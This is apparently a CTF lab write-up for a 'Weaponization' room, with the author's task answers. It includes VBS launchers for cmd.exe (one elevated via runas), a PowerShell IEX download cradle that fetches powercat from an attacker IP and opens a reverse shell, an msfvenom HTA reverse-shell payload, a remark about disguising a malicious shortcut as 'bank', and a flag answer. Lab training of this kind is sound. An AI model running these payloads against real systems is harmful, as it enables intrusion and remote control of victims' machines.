Weaponization
-
Let's deploy the target machine in the next task, and we'll get started with the Windows Script Host technique in the subsequent task !
No Answer
-
Deploy the attached Windows machine and connect to it via the RDP client. Once this is done, move to the next task.
No Answer
-
Try to replace the calc.exe binary to execute cmd.exe within the Windows machine.
I tried two codes. Payloads.vbs to launch cmd.exe as user, payloads2.vbs for cmd administrator :
payloads.vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\cmd.exe " & WScript.ScriptFullName),0,True
payloads2.vbs
Set oShell = CreateObject("Shell.Application")
oShell.ShellExecute "cmd.exe", , , "runas", 1
No Answer
-
Now, apply what we discussed to receive a reverse connection using the user simulation machine in the Practice Arena task.
Practiced and test different payload such as msfvenom command line directly or metasploit module. Get back multiple shell and offuscate link in shortcut on user's desktop and rename like "bank".
No Answer
-
Now replicate and apply what we discussed to get a reverse shell!
No Answer
-
Apply what you learned in this task. In the next task, we will discuss Command and Control frameworks!
First, on attack machine ;
git clone https://github.com/besimorhino/powercat.git
cd powercat
python3 -m http.server 6666
Then in another tab of terminal :
nc -lnvp 1337
On victim machine in cmd :
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.188.37:6666/powercat.ps1');powercat -c 10.10.188.37 -p 1337 -e cmd"
You'll now have a shell on your attack machine's listener !
No Answer
- Read the above.
No Answer
-
Which method is used to distribute payloads to a victim at social events?
Answer : Web Delivery
-
What is the flag?
Execute hta exploit for example :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.188.37 LPORT=9933 -f hta-psh -o thm.hta
Visiting url : http://10.10.188.37:666/thm.hta give us a reverse shell.
type /Users/thm/Desktop/flag.txt
Answer : THM{b4dbc2f16afdfe9579030a929b799719}